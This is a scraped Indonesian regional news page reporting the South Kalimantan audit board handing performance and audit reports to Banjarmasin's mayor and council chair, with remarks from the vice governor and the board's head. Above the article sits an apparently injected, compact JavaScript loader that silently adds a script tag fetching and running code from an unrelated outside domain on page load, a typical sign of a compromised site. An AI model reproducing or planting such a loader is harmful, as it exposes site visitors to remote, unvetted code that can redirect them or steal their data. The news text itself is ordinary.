(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Badan Pemeriksa Keuangan (BPK) Kalsel menyerahkan berkas Laporan Hasil Pemeriksaan (LHP) kinerja dan pemeriksaan kepada Walikota Banjarmasin H Ibnu Sina dan Ketua DPRD Kota Banjarmasin Hj Ananda, Jumat (15/12). Kegiatan yang dilaksanakan di aula kantor BPK Kalsel itu, dihadiri juga Wakil Gubernur Kalsel H Rudy Resnawan.
Rudy Resnawan mengatakan, audit BPK terhadap laporan keuangan daerah itu sesuai dengan amanat dari UU. Untuk itu, laporan hasil pemeriksaan tersebut wajib ditindaklanjuti serta diawasi para anggota DPRD sebagai tindak-lanjut.
“Audit itu bukan untuk mencari kesalahan tetapi untuk perbaikan keuangan yang telah digunakan, agar sesuai ketentuan yang berlaku,” ungkapnya.
Wagub juga meminta jajaran SKPD di lingkup kerjanya untuk segera menyelesaikan tindak-lanjut hasil laporan tersebut. “Bila tidak ditindaklanjuti, akan selalu dikejar oleh BPK. Karena itu saya harap semua tindak-lanjut tersebut diselesaikan, apalagi Kalsel telah dua kali mendapat opini WTP (Wajar Tanpa Pengecualiawn) untuk kategori seluruh kabupaten dan kotanya WTP,” jelasnya.
Sementara Kepala BPK Kalsel Didi Budi Satrio menjelaskan, BPK melakukan pemeriksaan atas prioritas pembangunan dalam RPJM 2015-2019 yang menjadi fokus dalam strategi pemeriksaan. Melalui pemeriksaan yang berkesinambungan pada fokus pemeriksaan tersebut, diharapkan dapat memberikan rekomendasi dan pendapat yang dapat mendorong keberhasilan pembangunan nasional.
“Secara umum hasil pemeriksaan BPK menunjukan ada tiga entitas yang menunjukan permasalahan. Di antaranya masih terdapat kekurangan volume atas sejumlah paket pekerjaan fisik infrastruktur, kemudian keterlambatan pelaksanaan pekerjaan, dan paket pekerjaan yang terindikasi kontrak kritis, serta dokumen pengadaan e-purchasing yang tidak lengkap,” katanya
Pada dasarnya, lanjut Didi, Pemprov Kalsel dan seluruh kabupaten kota telah melakukan sejumlah upaya dan keberhasilan yang telah dicapai sebagaimana yang telah dituangkan dalam laporan hasil pemeriksaan. Namun dari hasil pemeriksaan menunjukan masih terdapat sejumlah kelemahan yang harus diperhatikan dan diperbaiki.
Dengan adanya kelemahan yang ditemukan dalam pemeriksaan tersebut, BPK telah memberikan rekomendasi yang dituangkan dalam laporan hasil pemeriksaan. Diharapkan pemerintah daerah dapat menindaklanjutinya selambat lambatnya 60 hari sejak laporan hasil pemeriksaan diterima.(ammar)
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Harmoni III Kelurahan Pekapuran Raya, Kecamatan Banjarmasin Timur. Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) kembali menerima opini Wajar Tanpa… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kelurahan Selat Dalam, Kecamatan Selat, Kabupaten Kapuas, Kalteng menggelar acara… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kontingen Pekan Olahraga Pelajar Daerah (Popda) Kabupaten Banjar Tahun 2024 yang terdiri… Read More
This website uses cookies.